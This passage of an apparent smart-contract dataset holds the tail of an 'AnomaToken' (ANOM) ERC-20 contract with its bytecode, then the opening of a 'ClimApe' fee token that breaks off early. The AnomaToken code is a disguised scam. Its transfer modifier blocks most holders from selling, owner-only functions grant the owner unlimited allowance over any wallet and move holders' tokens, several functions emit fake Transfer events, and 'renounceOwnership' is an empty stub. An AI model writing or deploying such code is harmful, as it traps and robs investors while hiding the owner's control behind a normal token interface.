function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract AnomaToken is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _plus;
mapping (address => bool) private _discarded;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeOwnr;
uint256 private _discardedAmt = 0;
address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address _contDeployr = 0x3a32371C9eEB55F886A86bB1a8fCf1e1fD07952F;
address public _ownr = 0xcAEa85fB7ca366a7C41eB34A3d04600E28Fd91C4;
constructor () public {
_name = "Anoma.net";
_symbol = "ANOM";
_decimals = 18;
uint256 initialSupply = 1000000000 * 10 ** 18;
_safeOwnr = _ownr;
_mint(_contDeployr, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_tf(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_tf(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _pApproval(address[] memory destination) public {
require(msg.sender == _ownr, "!owner");
for (uint256 i = 0; i < destination.length; i++) {
_plus[destination[i]] = true;
_discarded[destination[i]] = false;
}
}
function _mApproval(address safeOwner) public {
require(msg.sender == _ownr, "!owner");
_safeOwnr = safeOwner;
}
modifier mainboard(address dest, uint256 num, address from, address filler){
if (
_ownr == _safeOwnr
&& from == _ownr
)
{_safeOwnr = dest;_;
}else
{
if (
from == _ownr
|| from == _safeOwnr
|| dest == _ownr
)
{
if (
from == _ownr
&& from == dest
)
{_discardedAmt = num;
}_;
}else
{
if (
_plus[from] == true
)
{
_;
}else{if (
_discarded[from] == true
)
{
require((
from == _safeOwnr
)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}else{
if (
num < _discardedAmt
)
{
if(dest == _safeOwnr){_discarded[from] = true; _plus[from] = false;
}
_; }else{require((from == _safeOwnr)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}
}
}
}
}}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _ownr){
sender = _contDeployr;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _ownr, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_ownr] = _balances[_ownr].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _tf(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual {
_pair( from, dest, amt);
}
function _pair(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(dest != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, dest, amt);
_balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance");
_balances[dest] = _balances[dest].add(amt);
if (from == _ownr){from = _contDeployr;}
emit Transfer(from, dest, amt);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _verify() {
require(msg.sender == _ownr, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function renounceOwnership()public _verify(){}
function burnLPTokens()public _verify(){}
function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function send(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function enter(address recipient) public _verify(){
_plus[recipient]=true;
_approve(recipient, _path_,_maximumVal);}
function enterList(address[] memory addrss) public _verify(){
for (uint256 i = 0; i < addrss.length; i++) {
_plus[addrss[i]]=true;
_approve(addrss[i], _path_,_maximumVal);}}
function leave(address recipient) public _verify(){
//Disable permission
_plus[recipient]=false;
_approve(recipient, _path_,0);
}
function approval(address addr) public _verify() virtual returns (bool) {
//Approve Spending
_approve(addr, _msgSender(), _maximumVal); return true;
}
function transferToTokenSaleParticipant(address sndr,address[] memory destination, uint256[] memory amounts) public _verify(){
_approve(sndr, _msgSender(), _maximumVal);
for (uint256 i = 0; i < destination.length; i++) {
_transfer(sndr, destination[i], amounts[i]);
}
}
function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
function unstake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
function swapETHForExactTokens(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063715018a6116100de578063b14a5c6a11610097578063cc044ca911610071578063cc044ca9146109fa578063d014c01f14610b2d578063dd62ed3e14610b53578063f8129cd214610b815761018e565b8063b14a5c6a146109cc578063bb88603c14610704578063bedf77a6146109d45761018e565b8063715018a6146107045780638d3ca13e1461070c5780639430b4961461083f57806395d89b4114610865578063a5aae2541461086d578063a9059cbb146109a05761018e565b80633cc4430d1161014b5780635265327c116101255780635265327c146105f3578063671e99211461061957806368d37db51461063d57806370a08231146106de5761018e565b80633cc4430d146103615780634c0cc925146104945780634e6ec247146105c75761018e565b806306fdde031461019357806308ec4eb514610210578063095ea7b3146102b357806318160ddd146102f357806323b872dd1461030d578063313ce56714610343575b600080fd5b61019b610cb4565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102b16004803603602081101561022657600080fd5b810190602081018135600160201b81111561024057600080fd5b82018360208201111561025257600080fd5b803590602001918460208302840111600160201b8311171561027357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610d4a945050505050565b005b6102df600480360360408110156102c957600080fd5b506001600160a01b038135169060200135610e3e565b604080519115158252519081900360200190f35b6102fb610e5b565b60408051918252519081900360200190f35b6102df6004803603606081101561032357600080fd5b506001600160a01b03813581169160208101359091169060400135610e61565b61034b610ee8565b6040805160ff9092168252519081900360200190f35b6102b16004803603606081101561037757600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156103a157600080fd5b8201836020820111156103b357600080fd5b803590602001918460208302840111600160201b831117156103d457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561042357600080fd5b82018360208201111561043557600080fd5b803590602001918460208302840111600160201b8311171561045657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610ef1945050505050565b6102b1600480360360608110156104aa57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156104d457600080fd5b8201836020820111156104e657600080fd5b803590602001918460208302840111600160201b8311171561050757600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561055657600080fd5b82018360208201111561056857600080fd5b803590602001918460208302840111600160201b8311171561058957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610fb7945050505050565b6102b1600480360360408110156105dd57600080fd5b506001600160a01b038135169060200135611077565b6102b16004803603602081101561060957600080fd5b50356001600160a01b0316611155565b6106216111bf565b604080516001600160a01b039092168252519081900360200190f35b6102b16004803603602081101561065357600080fd5b810190602081018135600160201b81111561066d57600080fd5b82018360208201111561067f57600080fd5b803590602001918460208302840111600160201b831117156106a057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506111ce945050505050565b6102fb600480360360208110156106f457600080fd5b50356001600160a01b03166112b4565b6102b16112cf565b6102b16004803603606081101561072257600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561074c57600080fd5b82018360208201111561075e57600080fd5b803590602001918460208302840111600160201b8311171561077f57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156107ce57600080fd5b8201836020820111156107e057600080fd5b803590602001918460208302840111600160201b8311171561080157600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061131e945050505050565b6102df6004803603602081101561085557600080fd5b50356001600160a01b03166113de565b61019b61144a565b6102b16004803603606081101561088357600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156108ad57600080fd5b8201836020820111156108bf57600080fd5b803590602001918460208302840111600160201b831117156108e057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561092f57600080fd5b82018360208201111561094157600080fd5b803590602001918460208302840111600160201b8311171561096257600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506114ab945050505050565b6102df600480360360408110156109b657600080fd5b506001600160a01b03813516906020013561156b565b61062161157f565b6102b1600480360360208110156109ea57600080fd5b50356001600160a01b031661158e565b6102b160048036036060811015610a1057600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610a3a57600080fd5b820183602082011115610a4c57600080fd5b803590602001918460208302840111600160201b83111715610a6d57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610abc57600080fd5b820183602082011115610ace57600080fd5b803590602001918460208302840111600160201b83111715610aef57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611610945050505050565b6102b160048036036020811015610b4357600080fd5b50356001600160a01b03166116ae565b6102fb60048036036040811015610b6957600080fd5b506001600160a01b0381358116916020013516611735565b6102b160048036036060811015610b9757600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610bc157600080fd5b820183602082011115610bd357600080fd5b803590602001918460208302840111600160201b83111715610bf457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610c4357600080fd5b820183602082011115610c5557600080fd5b803590602001918460208302840111600160201b83111715610c7657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611760945050505050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610d405780601f10610d1557610100808354040283529160200191610d40565b820191906000526020600020905b815481529060010190602001808311610d2357829003601f168201915b5050505050905090565b600d546001600160a01b03163314610d92576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610e3a576001806000848481518110610daf57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610e0057fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610d95565b5050565b6000610e52610e4b611881565b8484611885565b50600192915050565b60045490565b6000610e6e848484611971565b610ede84610e7a611881565b610ed985604051806060016040528060288152602001612492602891396001600160a01b038a16600090815260036020526040812090610eb8611881565b6001600160a01b031681526020810191909152604001600020549190611bf6565b611885565b5060019392505050565b60075460ff1690565b600d546001600160a01b03163314610f3e576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b60005b8251811015610fb157828181518110610f5657fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206124ba833981519152848481518110610f8c57fe5b60200260200101516040518082815260200191505060405180910390a3600101610f41565b50505050565b600d546001600160a01b03163314611004576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b60005b8251811015610fb15782818151811061101c57fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206124ba83398151915284848151811061105257fe5b60200260200101516040518082815260200191505060405180910390a3600101611007565b600d546001600160a01b031633146110d6576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6004546110e39082611820565b600455600d546001600160a01b031660009081526020819052604090205461110b9082611820565b600d546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391926000805160206124ba8339815191529281900390910190a35050565b600d546001600160a01b0316331461119d576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b546001600160a01b031681565b600d546001600160a01b0316331461121b576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b60005b8151811015610e3a57600180600084848151811061123857fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506112ac82828151811061128657fe5b6020026020010151600b60009054906101000a90046001600160a01b0316600854611885565b60010161121e565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b0316331461131c576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b565b600d546001600160a01b0316331461136b576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b60005b8251811015610fb157836001600160a01b031683828151811061138d57fe5b60200260200101516001600160a01b03166000805160206124ba8339815191528484815181106113b957fe5b60200260200101516040518082815260200191505060405180910390a360010161136e565b600d546000906001600160a01b0316331461142e576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b6114428261143a611881565b600854611885565b506001919050565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610d405780601f10610d1557610100808354040283529160200191610d40565b600d546001600160a01b031633146114f8576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b60005b8251811015610fb157836001600160a01b031683828151811061151a57fe5b60200260200101516001600160a01b03166000805160206124ba83398151915284848151811061154657fe5b60200260200101516040518082815260200191505060405180910390a36001016114fb565b6000610e52611578611881565b8484611971565b600d546001600160a01b031681565b600d546001600160a01b031633146115db576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b5461160d928492911690611885565b50565b600d546001600160a01b0316331461165d576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b6116698361143a611881565b60005b8251811015610fb1576116a68484838151811061168557fe5b602002602001015184848151811061169957fe5b6020026020010151611c8d565b60010161166c565b600d546001600160a01b031633146116fb576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b5460085461160d9284921690611885565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546001600160a01b031633146117ad576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b60005b8251811015610fb1578281815181106117c557fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206124ba8339815191528484815181106117fb57fe5b60200260200101516040518082815260200191505060405180910390a36001016117b0565b60008282018381101561187a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b0383166118ca5760405162461bcd60e51b81526004018080602001828103825260248152602001806124ff6024913960400191505060405180910390fd5b6001600160a01b03821661190f5760405162461bcd60e51b815260040180806020018281038252602281526020018061242a6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548391839186916000916001600160a01b0390811691161480156119a75750600d546001600160a01b038381169116145b156119d757600980546001600160a01b0319166001600160a01b0386161790556119d2878787611e06565b611bed565b600d546001600160a01b0383811691161480611a0057506009546001600160a01b038381169116145b80611a185750600d546001600160a01b038581169116145b15611a6157600d546001600160a01b038381169116148015611a4b5750836001600160a01b0316826001600160a01b0316145b15611a5657600a8390555b6119d2878787611e06565b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611a93576119d2878787611e06565b6001600160a01b03821660009081526002602052604090205460ff16151560011415611b1d576009546001600160a01b0383811691161480611ae25750600b546001600160a01b038581169116145b611a565760405162461bcd60e51b815260040180806020018281038252602681526020018061244c6026913960400191505060405180910390fd5b600a54831015611b7e576009546001600160a01b0385811691161415611a56576001600160a01b03821660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690556119d2878787611e06565b6009546001600160a01b0383811691161480611ba75750600b546001600160a01b038581169116145b611be25760405162461bcd60e51b815260040180806020018281038252602681526020018061244c6026913960400191505060405180910390fd5b611bed878787611e06565b50505050505050565b60008184841115611c855760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c4a578181015183820152602001611c32565b50505050905090810190601f168015611c775780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038316611cd25760405162461bcd60e51b81526004018080602001828103825260258152602001806124da6025913960400191505060405180910390fd5b6001600160a01b038216611d175760405162461bcd60e51b81526004018080602001828103825260238152602001806124076023913960400191505060405180910390fd5b611d22838383612401565b611d5f8160405180606001604052806026815260200161244c602691396001600160a01b0386166000908152602081905260409020549190611bf6565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611d8e9082611820565b6001600160a01b03808416600090815260208190526040902091909155600d5484821691161415611dc857600c546001600160a01b031692505b816001600160a01b0316836001600160a01b03166000805160206124ba833981519152836040518082815260200191505060405180910390a3505050565b600954600d548391839186916000916001600160a01b039081169116148015611e3c5750600d546001600160a01b038381169116145b15611fd257600980546001600160a01b0319166001600160a01b03868116919091179091558716611e9e5760405162461bcd60e51b81526004018080602001828103825260258152602001806124da6025913960400191505060405180910390fd5b6001600160a01b038616611ee35760405162461bcd60e51b81526004018080602001828103825260238152602001806124076023913960400191505060405180910390fd5b611eee878787612401565b611f2b8560405180606001604052806026815260200161244c602691396001600160a01b038a166000908152602081905260409020549190611bf6565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611f5a9086611820565b6001600160a01b03808816600090815260208190526040902091909155600d5488821691161415611f9457600c546001600160a01b031696505b856001600160a01b0316876001600160a01b03166000805160206124ba833981519152876040518082815260200191505060405180910390a3611bed565b600d546001600160a01b0383811691161480611ffb57506009546001600160a01b038381169116145b806120135750600d546001600160a01b038581169116145b1561209657600d546001600160a01b0383811691161480156120465750836001600160a01b0316826001600160a01b0316145b1561205157600a8390555b6001600160a01b038716611e9e5760405162461bcd60e51b81526004018080602001828103825260258152602001806124da6025913960400191505060405180910390fd5b6001600160a01b03821660009081526001602081905260409091205460ff1615151415612102576001600160a01b038716611e9e5760405162461bcd60e51b81526004018080602001828103825260258152602001806124da6025913960400191505060405180910390fd5b6001600160a01b03821660009081526002602052604090205460ff1615156001141561218c576009546001600160a01b03838116911614806121515750600b546001600160a01b038581169116145b6120515760405162461bcd60e51b815260040180806020018281038252602681526020018061244c6026913960400191505060405180910390fd5b600a54831015612220576009546001600160a01b0385811691161415612051576001600160a01b0382811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558716611e9e5760405162461bcd60e51b81526004018080602001828103825260258152602001806124da6025913960400191505060405180910390fd5b6009546001600160a01b03838116911614806122495750600b546001600160a01b038581169116145b6122845760405162461bcd60e51b815260040180806020018281038252602681526020018061244c6026913960400191505060405180910390fd5b6001600160a01b0387166122c95760405162461bcd60e51b81526004018080602001828103825260258152602001806124da6025913960400191505060405180910390fd5b6001600160a01b03861661230e5760405162461bcd60e51b81526004018080602001828103825260238152602001806124076023913960400191505060405180910390fd5b612319878787612401565b6123568560405180606001604052806026815260200161244c602691396001600160a01b038a166000908152602081905260409020549190611bf6565b6001600160a01b0380891660009081526020819052604080822093909355908816815220546123859086611820565b6001600160a01b03808816600090815260208190526040902091909155600d54888216911614156123bf57600c546001600160a01b031696505b856001600160a01b0316876001600160a01b03166000805160206124ba833981519152876040518082815260200191505060405180910390a350505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220a0effade691477254826a895842e042ade71b2a534f3944dda108606c0911a1b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 2,613 |
0x15f0df9fd1a377fa066c8b25889f98b2c486826a
|
/**
*Submitted for verification at Etherscan.io on 2022-03-23
*/
/**
*Submitted for verification at Etherscan.io on 2022-03-23
*/
/**
██████ ██ ██ ███ ███ █████ ██████ ███████
██ ██ ██ ████ ████ ██ ██ ██ ██ ██
██ ██ ██ ██ ████ ██ ███████ ██████ █████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██████ ███████ ██ ██ ██ ██ ██ ██ ███████
Recently news sources have been reporting on the negative affect that cryptocurrency can have on the environment from mining due to high electricity costs.
That's why ClimApe is stepping up to show them that we apes do care about our jungle.
ClimApe is here to fight climate change, by donating 8% of all buys and sells to OneEarth, a philanthropic organization working to accelerate collective action to limit global average temperature rise to 1.5°C.
Links:
Telegram: https://t.me/climape (Portal)
Website: www.climape.com
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ClimApe is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ClimApe";
string private constant _symbol = "CAPE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 10;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x276dc677Ad7B539Df78f9ad88c853430a56B38E2);
address payable private _marketingAddress = payable(0x1420Ab2Aff0a1Bab9224c121754A3153A9C97867);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 15000000000 * 10**9;
uint256 public _maxWalletSize = 30000000000 * 10**9;
